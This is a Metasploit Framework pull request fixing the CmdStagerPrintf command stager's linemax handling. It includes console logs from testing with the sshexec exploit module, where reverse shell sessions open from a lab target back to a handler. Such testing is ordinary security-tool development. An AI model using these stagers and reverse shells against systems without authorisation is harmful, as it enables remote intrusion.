mwulftange/metasploit-framework — pull request #1 by jvazquez-r7 (2013-10-04 16:16:05+00:00)
Title: Clean and fix CmdStagerPrintf

This pull request tries to clean and fix https://github.com/rapid7/metasploit-framework/pull/2412

The stager wasn't working when calling execute_cmdstager with a linemax. For example:

```
execute_cmdstager({:linemax => 500})
```

I hope this fix to the slice_up_payload method has sense for you and I haven't break something else. Please feel free to check, review, test, discuss, etc etc and land once you feel comfortable with it. Once done, I guess it's ready to be landed. I've used the exploits/multi/ssh/sshexec to test this cmd stager:

* Without linemax:

```
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.204:22 - Sending Printf stager...
[*] Command Stager progress - 44.77% done (497/1110 bytes)
[*] Command Stager progress - 89.37% done (992/1110 bytes)
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.204:52383) at 2013-10-04 11:09:14 -0500
[*] Command Stager progress - 100.00% done (1110/1110 bytes)

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 2? [y/N] y

[*] 192.168.172.204 - Command shell session 2 closed. Reason: User exit

```

* with linemax set to 500:

```
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.204:22 - Sending Printf stager...
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.204:52384) at 2013-10-04 11:09:29 -0500
[*] Command Stager progress - 100.00% done (1069/1069 bytes)

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 3? [y/N] y

```